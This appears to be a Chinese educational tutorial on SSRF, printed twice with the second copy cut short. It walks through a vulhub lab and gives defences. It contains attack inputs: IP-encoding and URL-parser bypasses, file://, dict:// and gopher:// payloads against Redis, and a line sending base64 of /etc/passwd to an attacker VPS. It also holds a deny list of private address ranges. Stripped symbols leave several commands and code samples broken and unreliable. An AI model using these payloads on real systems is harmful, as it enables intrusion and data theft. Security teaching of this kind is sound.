这次我们来看一个网络安全领域的关键攻击手法SSRF服务器端请求伪造。对于刚入门网络安全或道德黑客的朋友来说SSRF是一个必须掌握的核心漏洞它能让攻击者利用服务器作为跳板探测甚至攻击其内网环境。简单来说SSRF就是“借刀杀人”。当Web应用提供了从服务器发起网络请求的功能比如获取远程图片、解析URL内容时如果对用户输入的URL没有做好严格的过滤和限制攻击者就能构造恶意请求让服务器去访问其内部的系统。这些内部系统往往因为处于防火墙之后对外不可见但通过服务器这个“内鬼”攻击者就能一窥究竟甚至发起进一步攻击。本文会带你从零理解SSRF的原理、危害并通过一个模拟的靶场环境手把手演示如何发现、利用和防御SSRF漏洞。无论你是想系统学习网络安全知识还是准备CTF比赛或是想提升自己开发应用的安全性这篇文章都能提供清晰的路径和可实操的验证方法。1. 核心能力速览SSRF攻击剖析在深入操作之前我们先快速了解SSRF攻击的几个核心维度。这能帮你快速判断一个应用是否存在SSRF风险以及漏洞的潜在危害等级。能力项说明与影响攻击原理利用服务器端发起请求的功能通过篡改请求参数如URL诱使服务器向非预期的目标尤其是内网发起请求。常见触发点在线翻译、网页抓取、图片/文件下载、PDF生成、Webhook回调、从URL导入数据等需要服务器对外发起网络请求的功能。主要危害1.探测内网信息扫描内网IP和端口发现内部服务。2.攻击内网应用访问内网Web管理界面、Redis/Memcached等无认证服务甚至执行命令。3.绕过访问控制访问本地回环地址(127.0.0.1)的服务绕过前端防火墙规则。利用难度中低。关键在于找到服务器会发起请求的输入点并绕过可能存在的过滤规则如黑名单、白名单、URL解析差异。防御复杂度中高。需要多层面防护输入校验、协议限制、目标过滤、网络层隔离等。学习门槛需要对HTTP协议、URL结构、网络基础内网IP段、常见端口有基本了解。无需高级编程能力即可开始实践。2. 适用场景与使用边界这个技术适合谁学网络安全初学者SSRF是OWASP Top 10中的常客是入门必备漏洞之一。Web应用开发者了解攻击原理才能在自己的代码中有效规避。CTF参赛者SSRF是CTF Web题型的高频考点。渗透测试人员作为内网渗透的突破口是测试流程中的重要一环。它能解决什么问题攻击视角信息收集当外网无法直接访问目标内网时通过存在SSRF的对外服务器作为“眼睛”探测内网资产。权限提升如果服务器权限较高通过SSRF访问内网敏感接口或服务可能获得更高权限。攻击跳板将存在漏洞的服务器作为发起二次攻击的代理点。重要安全与合规边界防御与伦理视角仅用于授权测试所有SSRF技术的学习和实践必须在自己完全控制的实验室环境如虚拟机、靶场中进行。严禁对未授权的任何系统进行测试。理解法律风险未经授权扫描或攻击他人系统是违法行为。本文所有内容仅用于安全知识学习和授权下的渗透测试。关注修复方案学习攻击是为了更好地防御。本文会同等强调防御措施读者应将其应用于加固自己的应用。3. 环境准备与前置条件为了安全地学习和验证SSRF我们需要搭建一个隔离的测试环境。以下是通用方案1. 操作系统推荐使用Kali Linux或Parrot OS虚拟机它们集成了大量安全工具。也可以在Windows/macOS上使用Docker来运行靶场和工具更为轻便安全。2. 核心工具浏览器及开发者工具用于分析前端请求和修改参数。Burp Suite社区版/专业版拦截、重放、修改HTTP请求的瑞士军刀是SSRF测试的核心。curl命令用于快速从命令行发送HTTP请求进行测试。简单的HTTP服务器用于在测试机本地或内网搭建临时服务接收SSRF请求回显。Python的http.server模块就很好用。靶场环境这是学习的关键。我们可以使用Docker快速部署一个专为SSRF设计的靶场例如vulhub中的相关漏洞镜像。3. 网络环境理解理解IP地址清楚127.0.0.1本地回环、192.168.x.x/10.x.x.x/172.16.x.x私有内网段的含义。理解端口知道常见服务的默认端口如80(HTTP)、443(HTTPS)、22(SSH)、3306(MySQL)、6379(Redis)等。4. 靶场部署与启动方式我们使用Docker来部署一个经典的SSRF漏洞靶场这里以vulhub中的SSRF靶场为例。这种方式一键启动环境隔离最安全方便。步骤1确保系统已安装Docker和Docker Compose如果你的系统没有安装请先参考官方文档安装。在Kali Linux中通常已预装或可通过apt安装。步骤2下载并启动靶场# 1. 克隆 vulhub 仓库如果已有可跳过 git clone https://github.com/vulhub/vulhub.git cd vulhub # 2. 进入 SSRF 靶场目录 (具体路径可能不同请根据实际目录调整) # 假设靶场在 ssrf/weblogic-ssrf 目录下 cd ssrf/weblogic-ssrf # 3. 使用 docker-compose 启动靶场环境 docker-compose up -d执行成功后Docker会拉取镜像并启动容器。通常靶场Web服务会映射到宿主机的某个端口如8080。步骤3访问靶场打开浏览器访问http://你的虚拟机IP:8080或根据docker-compose.yml文件提示的端口。你应该能看到一个存在SSRF漏洞的Web应用界面。步骤4配置Burp Suite代理为了拦截和修改请求需要将浏览器流量经过Burp Suite。启动Burp Suite在Proxy - Options中确保代理监听在127.0.0.1:8080默认。在浏览器中配置代理为127.0.0.1:8080并安装Burp Suite的CA证书首次使用时需要用于拦截HTTPS流量。至此测试环境就绪。5. SSRF攻击测试与效果验证我们将按照“发现 - 验证 - 利用 - 深入”的流程在靶场中逐步测试SSRF漏洞。5.1 发现潜在的SSRF入口点进入靶场应用后寻找所有允许输入URL或域名的地方。常见特征包括“上传网络图片”功能输入图片URL。“翻译此网页”功能输入网页URL。“获取网页内容”或“预览”功能。任何带有url、path、uri、file等名称的参数。在靶场中我们假设找到一个功能“查看网页源代码”它接受一个url参数。操作步骤在Burp Suite中开启拦截Intercept is on。在靶场页面的输入框先输入一个合法的公网URL如http://example.com然后点击提交。此时请求会被Burp Suite拦截。5.2 基础验证访问本地服务目标验证服务器是否会向我们指定的任意地址发起请求。测试1访问回环地址在Burp Suite拦截到的请求中找到包含URL参数的部位例如GET /ssrf.php?urlhttp://example.com HTTP/1.1我们将example.com修改为本地回环地址GET /ssrf.php?urlhttp://127.0.0.1 HTTP/1.1关闭拦截让请求发送。观察响应。如果成功页面可能显示127.0.0.1本地Web服务的首页如Apache欢迎页或者返回一个与访问外网时不同的错误信息。这初步证明存在SSRF。如果失败可能返回“无效URL”或“禁止访问本地网络”等提示说明有基础过滤。测试2访问内网常见地址如果回环地址被禁尝试内网私有地址GET /ssrf.php?urlhttp://192.168.1.1 HTTP/1.1 GET /ssrf.php?urlhttp://10.0.0.1 HTTP/1.1这些地址通常对应内网路由器或服务器。即使目标不存在连接超时或拒绝连接的响应也与访问外网成功/失败的响应模式不同可以帮助我们判断。5.3 绕过常见过滤机制开发人员可能会实施一些过滤我们需要尝试绕过。绕过1使用不同格式的IP地址十进制IPhttp://2130706433等价于http://127.0.0.1(计算方式127256^3 0256^2 0*256 1)。八进制IPhttp://0177.0.0.1在某些环境下会被解析为127.0.0.1。十六进制IPhttp://0x7f.0x0.0x0.0x1。省略部分零http://127.1等价于http://127.0.0.1。绕过2利用URL解析差异利用符号http://example.com127.0.0.1。某些解析器会将前的部分视为认证信息实际请求发往后的主机。但现代过滤机制通常会识别。利用#号http://127.0.0.1#.example.com。#是片段标识符部分服务器端库在解析时可能会忽略#及之后的内容。利用DNS重绑定这是一个高级技巧需要控制一个域名并将其DNS记录的TTL设为极短第一次解析返回一个允许的外网IP通过校验第二次解析则返回127.0.0.1。这需要更复杂的设置。绕过3使用其他协议SSRF不一定只用于HTTP。如果服务器后端使用了如curl、libcurl等支持多协议的库可以尝试File协议file:///etc/passwd尝试读取服务器本地文件。Dict协议dict://127.0.0.1:6379/info可用于探测Redis服务如果服务器安装了libcurl并支持dict协议。Gopher协议一个非常强大的协议可以构造任意格式的TCP数据包常用于攻击内网的Redis、Memcached等服务。但现代curl默认可能不编译支持。在靶场中尝试在Burp Suite中将参数修改为以下值并发送观察响应urlfile:///etc/passwd urldict://127.0.0.1:6379/info urlgopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0ainfo%0d%0aquit%0d%0a注意Gopher协议payload需要根据目标服务进行编码构造此处是一个攻击Redis的示例。5.4 端口扫描与内网探测确认存在SSRF后我们可以利用它进行内网端口扫描。原理通过循环改变请求中的端口号根据响应时间或内容差异来判断目标端口是否开放。手动测试示例在Burp Suite的Repeater模块中固定IP修改端口GET /ssrf.php?urlhttp://192.168.1.1:80 HTTP/1.1 GET /ssrf.php?urlhttp://192.168.1.1:22 HTTP/1.1 GET /ssrf.php?urlhttp://192.168.1.1:3306 HTTP/1.1 ...端口开放且有HTTP服务可能返回HTTP状态码200/302等并有页面内容。端口开放但非HTTP服务可能返回连接错误、空响应或特定的错误信息如连接被重置。端口关闭通常会快速返回“连接拒绝”或超时。自动化工具辅助对于大规模探测可以将Burp Suite的请求发送到Intruder模块设置端口号为变量进行爆破。但要注意请求频率避免对靶场造成压力。5.5 攻击内网应用实例假设通过扫描我们发现内网192.168.1.10的8080端口运行着一个Jenkins管理界面无需外网认证。利用步骤通过SSRF访问Jenkinsurlhttp://192.168.1.10:8080如果Jenkins未设置认证我们可能可以直接看到管理面板甚至可以通过构造POST请求来创建任务、执行命令。这需要进一步分析Jenkins的API接口。更常见的情况是SSRF可以作为跳板将攻击流量带入内网结合其他漏洞进行利用。6. 利用SSRF进行信息回传由于SSRF是服务器去访问目标响应内容通常直接返回给攻击者即浏览器。但有时响应内容不会直接显示盲SSRF或者我们需要获取非HTTP协议服务的响应如Redis的info命令结果。解决思路让被攻击的服务器把数据发送到我们控制的接收端。方法利用DNS查询或HTTP请求外带数据。搭建一个接收服务器在自己的公网VPS上启动一个Web服务或者使用如webhook.site、requestbin.com等临时请求接收服务。构造Payload让存在SSRF的服务器去访问一个包含敏感信息的URL该URL指向我们的接收服务器。例如探测Redisurlhttp://127.0.0.1:6379/?dataPAYLOAD。如果后端是curl且支持gopher则更直接。更通用的尝试让服务器读取文件并将内容作为参数请求我们的服务器urlhttp://我们的VPS-IP:端口/?c$(cat /etc/passwd | base64)。但这通常需要命令执行漏洞配合纯SSRF较难实现。查看接收日志在我们的接收服务器上查看访问日志如果看到来自目标服务器IP的请求并且请求参数或路径中包含了内网服务返回的信息有时信息可能在HTTP头中如Host头则说明利用成功。盲SSRF验证技巧如果页面没有任何回显可以通过响应时间差异来判断。例如访问一个开放的端口如80和一个关闭的端口如9999响应时间可能有明显差别开放端口连接更快或等待HTTP响应超时。在Burp Suite的Intruder攻击中可以关注“Response received”和“Response completed”的时间差。7. 防御措施与安全开发建议理解了攻击防御就有了方向。防御SSRF需要多层次、纵深化的策略。7.1 输入校验与过滤黑名单/白名单白名单推荐只允许访问预设的、可信的域名或IP地址列表。这是最有效的方法。// PHP 示例白名单校验 $allowed_hosts [cdn.example.com, api.safe-service.com]; $url $_GET[url]; $host parse_url($url, PHP_URL_HOST); if (!in_array($host, $allowed_hosts)) { die(Access denied: Host not in whitelist.); } // 再发起请求黑名单不推荐单独使用禁止访问内网IP、回环地址、私有地址段。容易被绕过如十进制IP、域名重绑定。// 需要过滤的地址段示例 $deny_patterns [ /^127\./, /^10\./, /^172\.(1[6-9]|2[0-9]|3[0-1])\./, /^192\.168\./, /^0\./, /^localhost$/, /^\[::1\]$/ // IPv6 回环 ];7.2 统一资源获取与限制禁用不必要协议在发起请求的客户端库如curl、requests设置中禁用file、gopher、dict等危险协议。使用内部解析器不要直接将用户输入传给网络请求函数。使用一个内部解析器来解析URL提取主机名进行DNS解析使用内部DNS服务器然后与白名单比对再使用解析得到的IP发起请求。注意DNS重绑定攻击需要在解析后立即使用该IP并设置DNS缓存。设置请求目标限制# Python requests 库示例禁止重定向可一定程度上防止通过重定向到内网 response requests.get(url, allow_redirectsFalse, timeout5)7.3 网络层隔离应用服务器网络策略运行Web应用的服务器其出站网络连接应受到严格限制。通过防火墙或安全组只允许应用服务器访问其必需的外部服务如支付网关、短信接口禁止访问整个内网段。使用中间代理或网关所有需要对外发起的请求都通过一个统一的、安全配置的代理或API网关进行。在该网关上实施严格的白名单策略。7.4 代码审计与依赖库安全审查所有发起网络请求的代码搜索curl、file_get_contents、HttpClient、requests等关键字。更新依赖库确保使用的HTTP客户端库是最新版本它们可能包含了更好的SSRF防护逻辑或配置选项。8. 常见问题与排查方法在学习和测试SSRF过程中你可能会遇到以下问题问题现象可能原因排查方式解决方案修改URL参数后返回“无效URL”或“禁止访问”。1. 前端进行了基础格式校验。2. 后端有基础的黑名单过滤。1. 使用Burp Suite绕过前端直接发送请求。2. 尝试使用不同格式的IP十进制、八进制或localhost的变体。尝试URL编码、使用短格式IP、利用解析差异。访问127.0.0.1成功但访问其他内网IP无响应或超时。1. 目标内网IP不存在或未开机。2. 目标端口未开放。3. 服务器所在网络与目标IP段不同。1. 尝试扫描常见端口80, 443, 22, 8080。2. 检查服务器本身的网络配置ifconfig/ip addr确定其内网IP段。根据服务器网络环境调整探测的IP段。使用file://协议尝试读取文件失败。1. 后端请求库不支持file协议。2. 服务器端对协议进行了过滤。3. 文件路径不存在或无权访问。1. 测试http://127.0.0.1是否通先确认SSRF存在。2. 尝试其他协议如dict、gopher如果支持。重点利用HTTP/HTTPS协议进行内网探测和攻击。响应内容没有回显在页面上盲SSRF。服务器发起了请求但未将响应内容输出。1. 通过DNS查询外带信息尝试让服务器访问http://your-subdomain.burpcollaborator.net看是否有DNS查询记录。2. 通过响应时间判断端口开放状态。使用Burp Suite Professional的Collaborator功能或搭建自己的DNS/HTTP日志服务器。靶场环境启动失败。1. Docker服务未运行。2. 端口被占用。3. 镜像拉取失败。1. 运行systemctl status docker或docker ps检查Docker。2. 运行netstat -tulnp | grep :8080检查端口占用。3. 查看docker-compose up的错误日志。1. 启动Docker服务。2. 修改docker-compose.yml中的端口映射。3. 检查网络或更换Docker镜像源。9. 最佳实践与深入利用建议对于攻击测试授权范围内由浅入深先测试基础的回环地址访问再尝试内网探测最后尝试利用其他协议攻击特定服务。善用工具Burp Suite的Intruder、Collaborator是神器。对于自动化扫描可以编写Python脚本配合requests库。注意隐蔽性在真实授权测试中内网端口扫描可能触发安全告警。应控制扫描速度和并发数。组合利用SSRF常常不是终点。发现内网Redis未授权访问后可尝试写入Webshell发现Jenkins未授权后可尝试命令执行。要将SSRF作为进入内网的入口点。对于安全开发设计阶段就考虑如果功能不需要从服务器发起网络请求就不要提供这个功能。实施白名单机制这是最有效的方案。将允许访问的域名列表配置化便于管理。进行代码审计将SSRF作为代码审计的固定检查项特别是涉及curl、file_get_contentsPHP、HttpURLConnectionJava、requestsPython等函数或库的代码。网络隔离生产环境中Web服务器应置于独立的DMZ区域严格限制其向内网发起连接的能力。10. 总结与下一步SSRF是一种危害巨大且常见的漏洞它打破了内外网的边界。通过本文的梳理和靶场实践你应该已经掌握了SSRF的基本原理、探测方法、绕过技巧以及核心的防御思路。最值得尝试的下一步搭建复杂靶场在虚拟机中搭建一个简单的内网环境例如一台Web服务器存在SSRF内网另一台机器运行着有漏洞的Jenkins或Redis尝试从外网通过SSRF完成对内网机器的攻击链。研究真实案例在公开的漏洞报告平台如HackerOne、CNVD上搜索SSRF漏洞报告学习高手们的利用思路和绕过技巧。代码审计练习找一些开源项目尝试寻找其中潜在的SSRF漏洞点并思考修复方案。深入协议利用深入研究gopher、dict等协议在攻击Redis、FastCGI等服务时的利用方式这通常是CTF中的难点和亮点。安全是一个攻防对抗、不断演进的过程。理解像SSRF这样的核心漏洞不仅能让你在渗透测试中多一种利器更能从根本上提升你设计和开发安全应用的能力。建议将本文中的测试环境保存下来作为日后复习和练习的沙箱。 SSRF漏洞攻防实战：从原理到靶场实践
这次我们来看一个网络安全领域的关键攻击手法SSRF服务器端请求伪造。对于刚入门网络安全或道德黑客的朋友来说SSRF是一个必须掌握的核心漏洞它能让攻击者利用服务器作为跳板探测甚至攻击其内网环境。简单来说SSRF就是“借刀杀人”。当Web应用提供了从服务器发起网络请求的功能比如获取远程图片、解析URL内容时如果对用户输入的URL没有做好严格的过滤和限制攻击者就能构造恶意请求让服务器去访问其内部的系统。这些内部系统往往因为处于防火墙之后对外不可见但通过服务器这个“内鬼”攻击者就能一窥究竟甚至发起进一步攻击。本文会带你从零理解SSRF的原理、危害并通过一个模拟的靶场环境手把手演示如何发现、利用和防御SSRF漏洞。无论你是想系统学习网络安全知识还是准备CTF比赛或是想提升自己开发应用的安全性这篇文章都能提供清晰的路径和可实操的验证方法。1. 核心能力速览SSRF攻击剖析在深入操作之前我们先快速了解SSRF攻击的几个核心维度。这能帮你快速判断一个应用是否存在SSRF风险以及漏洞的潜在危害等级。能力项说明与影响攻击原理利用服务器端发起请求的功能通过篡改请求参数如URL诱使服务器向非预期的目标尤其是内网发起请求。常见触发点在线翻译、网页抓取、图片/文件下载、PDF生成、Webhook回调、从URL导入数据等需要服务器对外发起网络请求的功能。主要危害1.探测内网信息扫描内网IP和端口发现内部服务。2.攻击内网应用访问内网Web管理界面、Redis/Memcached等无认证服务甚至执行命令。3.绕过访问控制访问本地回环地址(127.0.0.1)的服务绕过前端防火墙规则。利用难度中低。关键在于找到服务器会发起请求的输入点并绕过可能存在的过滤规则如黑名单、白名单、URL解析差异。防御复杂度中高。需要多层面防护输入校验、协议限制、目标过滤、网络层隔离等。学习门槛需要对HTTP协议、URL结构、网络基础内网IP段、常见端口有基本了解。无需高级编程能力即可开始实践。2. 适用场景与使用边界这个技术适合谁学网络安全初学者SSRF是OWASP Top 10中的常客是入门必备漏洞之一。Web应用开发者了解攻击原理才能在自己的代码中有效规避。CTF参赛者SSRF是CTF Web题型的高频考点。渗透测试人员作为内网渗透的突破口是测试流程中的重要一环。它能解决什么问题攻击视角信息收集当外网无法直接访问目标内网时通过存在SSRF的对外服务器作为“眼睛”探测内网资产。权限提升如果服务器权限较高通过SSRF访问内网敏感接口或服务可能获得更高权限。攻击跳板将存在漏洞的服务器作为发起二次攻击的代理点。重要安全与合规边界防御与伦理视角仅用于授权测试所有SSRF技术的学习和实践必须在自己完全控制的实验室环境如虚拟机、靶场中进行。严禁对未授权的任何系统进行测试。理解法律风险未经授权扫描或攻击他人系统是违法行为。本文所有内容仅用于安全知识学习和授权下的渗透测试。关注修复方案学习攻击是为了更好地防御。本文会同等强调防御措施读者应将其应用于加固自己的应用。3. 环境准备与前置条件为了安全地学习和验证SSRF我们需要搭建一个隔离的测试环境。以下是通用方案1. 操作系统推荐使用Kali Linux或Parrot OS虚拟机它们集成了大量安全工具。也可以在Windows/macOS上使用Docker来运行靶场和工具更为轻便安全。2. 核心工具浏览器及开发者工具用于分析前端请求和修改参数。Burp Suite社区版/专业版拦截、重放、修改HTTP请求的瑞士军刀是SSRF测试的核心。curl命令用于快速从命令行发送HTTP请求进行测试。简单的HTTP服务器用于在测试机本地或内网搭建临时服务接收SSRF请求回显。Python的http.server模块就很好用。靶场环境这是学习的关键。我们可以使用Docker快速部署一个专为SSRF设计的靶场例如vulhub中的相关漏洞镜像。3. 网络环境理解理解IP地址清楚127.0.0.1本地回环、192.168.x.x/10.x.x.x/172.16.x.x私有内网段的含义。理解端口知道常见服务的默认端口如80(HTTP)、443(HTTPS)、22(SSH)、3306(MySQL)、6379(Redis)等。4. 靶场部署与启动方式我们使用Docker来部署一个经典的SSRF漏洞靶场这里以vulhub中的SSRF靶场为例。这种方式一键启动环境隔离最安全方便。步骤1确保系统已安装Docker和Docker Compose如果你的系统没有安装请先参考官方文档安装。在Kali Linux中通常已预装或可通过apt安装。步骤2下载并启动靶场# 1. 克隆 vulhub 仓库如果已有可跳过 git clone https://github.com/vulhub/vulhub.git cd vulhub # 2. 进入 SSRF 靶场目录 (具体路径可能不同请根据实际目录调整) # 假设靶场在 ssrf/weblogic-ssrf 目录下 cd ssrf/weblogic-ssrf # 3. 使用 docker-compose 启动靶场环境 docker-compose up -d执行成功后Docker会拉取镜像并启动容器。通常靶场Web服务会映射到宿主机的某个端口如8080。步骤3访问靶场打开浏览器访问http://你的虚拟机IP:8080或根据docker-compose.yml文件提示的端口。你应该能看到一个存在SSRF漏洞的Web应用界面。步骤4配置Burp Suite代理为了拦截和修改请求需要将浏览器流量经过Burp Suite。启动Burp Suite在Proxy - Options中确保代理监听在127.0.0.1:8080默认。在浏览器中配置代理为127.0.0.1:8080并安装Burp Suite的CA证书首次使用时需要用于拦截HTTPS流量。至此测试环境就绪。5. SSRF攻击测试与效果验证我们将按照“发现 - 验证 - 利用 - 深入”的流程在靶场中逐步测试SSRF漏洞。5.1 发现潜在的SSRF入口点进入靶场应用后寻找所有允许输入URL或域名的地方。常见特征包括“上传网络图片”功能输入图片URL。“翻译此网页”功能输入网页URL。“获取网页内容”或“预览”功能。任何带有url、path、uri、file等名称的参数。在靶场中我们假设找到一个功能“查看网页源代码”它接受一个url参数。操作步骤在Burp Suite中开启拦截Intercept is on。在靶场页面的输入框先输入一个合法的公网URL如http://example.com然后点击提交。此时请求会被Burp Suite拦截。5.2 基础验证访问本地服务目标验证服务器是否会向我们指定的任意地址发起请求。测试1访问回环地址在Burp Suite拦截到的请求中找到包含URL参数的部位例如GET /ssrf.php?urlhttp://example.com HTTP/1.1我们将example.com修改为本地回环地址GET /ssrf.php?urlhttp://127.0.0.1 HTTP/1.1关闭拦截让请求发送。观察响应。如果成功页面可能显示127.0.0.1本地Web服务的首页如Apache欢迎页或者返回一个与访问外网时不同的错误信息。这初步证明存在SSRF。如果失败可能返回“无效URL”或“禁止访问本地网络”等提示说明有基础过滤。测试2访问内网常见地址如果回环地址被禁尝试内网私有地址GET /ssrf.php?urlhttp://192.168.1.1 HTTP/1.1 GET /ssrf.php?urlhttp://10.0.0.1 HTTP/1.1这些地址通常对应内网路由器或服务器。即使目标不存在连接超时或拒绝连接的响应也与访问外网成功/失败的响应模式不同可以帮助我们判断。5.3 绕过常见过滤机制开发人员可能会实施一些过滤我们需要尝试绕过。绕过1使用不同格式的IP地址十进制IPhttp://2130706433等价于http://127.0.0.1(计算方式127256^3 0256^2 0*256 1)。八进制IPhttp://0177.0.0.1在某些环境下会被解析为127.0.0.1。十六进制IPhttp://0x7f.0x0.0x0.0x1。省略部分零http://127.1等价于http://127.0.0.1。绕过2利用URL解析差异利用符号http://example.com127.0.0.1。某些解析器会将前的部分视为认证信息实际请求发往后的主机。但现代过滤机制通常会识别。利用#号http://127.0.0.1#.example.com。#是片段标识符部分服务器端库在解析时可能会忽略#及之后的内容。利用DNS重绑定这是一个高级技巧需要控制一个域名并将其DNS记录的TTL设为极短第一次解析返回一个允许的外网IP通过校验第二次解析则返回127.0.0.1。这需要更复杂的设置。绕过3使用其他协议SSRF不一定只用于HTTP。如果服务器后端使用了如curl、libcurl等支持多协议的库可以尝试File协议file:///etc/passwd尝试读取服务器本地文件。Dict协议dict://127.0.0.1:6379/info可用于探测Redis服务如果服务器安装了libcurl并支持dict协议。Gopher协议一个非常强大的协议可以构造任意格式的TCP数据包常用于攻击内网的Redis、Memcached等服务。但现代curl默认可能不编译支持。在靶场中尝试在Burp Suite中将参数修改为以下值并发送观察响应urlfile:///etc/passwd urldict://127.0.0.1:6379/info urlgopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0ainfo%0d%0aquit%0d%0a注意Gopher协议payload需要根据目标服务进行编码构造此处是一个攻击Redis的示例。5.4 端口扫描与内网探测确认存在SSRF后我们可以利用它进行内网端口扫描。原理通过循环改变请求中的端口号根据响应时间或内容差异来判断目标端口是否开放。手动测试示例在Burp Suite的Repeater模块中固定IP修改端口GET /ssrf.php?urlhttp://192.168.1.1:80 HTTP/1.1 GET /ssrf.php?urlhttp://192.168.1.1:22 HTTP/1.1 GET /ssrf.php?urlhttp://192.168.1.1:3306 HTTP/1.1 ...端口开放且有HTTP服务可能返回HTTP状态码200/302等并有页面内容。端口开放但非HTTP服务可能返回连接错误、空响应或特定的错误信息如连接被重置。端口关闭通常会快速返回“连接拒绝”或超时。自动化工具辅助对于大规模探测可以将Burp Suite的请求发送到Intruder模块设置端口号为变量进行爆破。但要注意请求频率避免对靶场造成压力。5.5 攻击内网应用实例假设通过扫描我们发现内网192.168.1.10的8080端口运行着一个Jenkins管理界面无需外网认证。利用步骤通过SSRF访问Jenkinsurlhttp://192.168.1.10:8080如果Jenkins未设置认证我们可能可以直接看到管理面板甚至可以通过构造POST请求来创建任务、执行命令。这需要进一步分析Jenkins的API接口。更常见的情况是SSRF可以作为跳板将攻击流量带入内网结合其他漏洞进行利用。6. 利用SSRF进行信息回传由于SSRF是服务器去访问目标响应内容通常直接返回给攻击者即浏览器。但有时响应内容不会直接显示盲SSRF或者我们需要获取非HTTP协议服务的响应如Redis的info命令结果。解决思路让被攻击的服务器把数据发送到我们控制的接收端。方法利用DNS查询或HTTP请求外带数据。搭建一个接收服务器在自己的公网VPS上启动一个Web服务或者使用如webhook.site、requestbin.com等临时请求接收服务。构造Payload让存在SSRF的服务器去访问一个包含敏感信息的URL该URL指向我们的接收服务器。例如探测Redisurlhttp://127.0.0.1:6379/?dataPAYLOAD。如果后端是curl且支持gopher则更直接。更通用的尝试让服务器读取文件并将内容作为参数请求我们的服务器urlhttp://我们的VPS-IP:端口/?c$(cat /etc/passwd | base64)。但这通常需要命令执行漏洞配合纯SSRF较难实现。查看接收日志在我们的接收服务器上查看访问日志如果看到来自目标服务器IP的请求并且请求参数或路径中包含了内网服务返回的信息有时信息可能在HTTP头中如Host头则说明利用成功。盲SSRF验证技巧如果页面没有任何回显可以通过响应时间差异来判断。例如访问一个开放的端口如80和一个关闭的端口如9999响应时间可能有明显差别开放端口连接更快或等待HTTP响应超时。在Burp Suite的Intruder攻击中可以关注“Response received”和“Response completed”的时间差。7. 防御措施与安全开发建议理解了攻击防御就有了方向。防御SSRF需要多层次、纵深化的策略。7.1 输入校验与过滤黑名单/白名单白名单推荐只允许访问预设的、可信的域名或IP地址列表。这是最有效的方法。// PHP 示例白名单校验 $allowed_hosts [cdn.example.com, api.safe-service.com]; $url $_GET[url]; $host parse_url($url, PHP_URL_HOST); if (!in_array($host, $allowed_hosts)) { die(Access denied: Host not in whitelist.); } // 再发起请求黑名单不推荐单独使用禁止访问内网IP、回环地址、私有地址段。容易被绕过如十进制IP、域名重绑定。// 需要过滤的地址段示例 $deny_patterns [ /^127\./, /^10\./, /^172\.(1[6-9]|2[0-9]|3[0-1])\./, /^192\.168\./, /^0\./, /^localhost$/, /^\[::1\]$/ // IPv6 回环 ];7.2 统一资源获取与限制禁用不必要协议在发起请求的客户端库如curl、requests设置中禁用file、gopher、dict等危险协议。使用内部解析器不要直接将用户输入传给网络请求函数。使用一个内部解析器来解析URL提取主机名进行DNS解析使用内部DNS服务器然后与白名单比对再使用解析得到的IP发起请求。注意DNS重绑定攻击需要在解析后立即使用该IP并设置DNS缓存。设置请求目标限制# Python requests 库示例禁止重定向可一定程度上防止通过重定向到内网 response requests.get(url, allow_redirectsFalse, timeout5)7.3 网络层隔离应用服务器网络策略运行Web应用的服务器其出站网络连接应受到严格限制。通过防火墙或安全组只允许应用服务器访问其必需的外部服务如支付网关、短信接口禁止访问整个内网段。使用中间代理或网关所有需要对外发起的请求都通过一个统一的、安全配置的代理或API网关进行。在该网关上实施严格的白名单策略。7.4 代码审计与依赖库安全审查所有发起网络请求的代码搜索curl、file_get_contents、HttpClient、requests等关键字。更新依赖库确保使用的HTTP客户端库是最新版本它们可能包含了更好的SSRF防护逻辑或配置选项。8. 常见问题与排查方法在学习和测试SSRF过程中你可能会遇到以下问题问题现象可能原因排查方式解决方案修改URL参数后返回“无效URL”或“禁止访问”。1. 前端进行了基础格式校验。2. 后端有基础的黑名单过滤。1. 使用Burp Suite绕过前端直接发送请求。2. 尝试使用不同格式的IP十进制、八进制或localhost的变体。尝试URL编码、使用短格式IP、利用解析差异。访问127.0.0.1成功但访问其他内网IP无响应或超时。1. 目标内网IP不存在或未开机。2. 目标端口未开放。3. 服务器所在网络与目标IP段不同。1. 尝试扫描常见端口80, 443, 22, 8080。2. 检查服务器本身的网络配置ifconfig/ip addr确定其内网IP段。根据服务器网络环境调整探测的IP段。使用file://协议尝试读取文件失败。1. 后端请求库不支持file协议。2. 服务器端对协议进行了过滤。3. 文件路径不存在或无权访问。1. 测试http://127.0.0.1是否通先确认SSRF存在。2. 尝试其他协议如dict、gopher如果支持。重点利用HTTP/HTTPS协议进行内网探测和攻击。响应内容没有回显在页面上盲SSRF。服务器发起了请求但未将响应内容输出。1. 通过DNS查询外带信息尝试让服务器访问http://your-subdomain.burpcollaborator.net看是否有DNS查询记录。2. 通过响应时间判断端口开放状态。使用Burp Suite Professional的Collaborator功能或搭建自己的DNS/HTTP日志服务器。靶场环境启动失败。1. Docker服务未运行。2. 端口被占用。3. 镜像拉取失败。1. 运行systemctl status docker或docker ps检查Docker。2. 运行netstat -tulnp | grep :8080检查端口占用。3. 查看docker-compose up的错误日志。1. 启动Docker服务。2. 修改docker-compose.yml中的端口映射。3. 检查网络或更换Docker镜像源。9. 最佳实践与深入利用建议对于攻击测试授权范围内由浅入深先测试基础的回环地址访问再尝试内网探测最后尝试利用其他协议攻击特定服务。善用工具Burp Suite的Intruder、Collaborator是神器。对于自动化扫描可以编写Python脚本配合requests库。注意隐蔽性在真实授权测试中内网端口扫描可能触发安全告警。应控制扫描速度和并发数。组合利用SSRF常常不是终点。发现内网Redis未授权访问后可尝试写入Webshell发现Jenkins未授权后可尝试命令执行。要将SSRF作为进入内网的入口点。对于安全开发设计阶段就考虑如果功能不需要从服务器发起网络请求就不要提供这个功能。实施白名单机制这是最有效的方案。将允许访问的域名列表配置化便于管理。进行代码审计将SSRF作为代码审计的固定检查项特别是涉及curl、file_get_contentsPHP、HttpURLConnectionJava、requestsPython等函数或库的代码。网络隔离生产环境中Web服务器应置于独立的DMZ区域严格限制其向内网发起连接的能力。10. 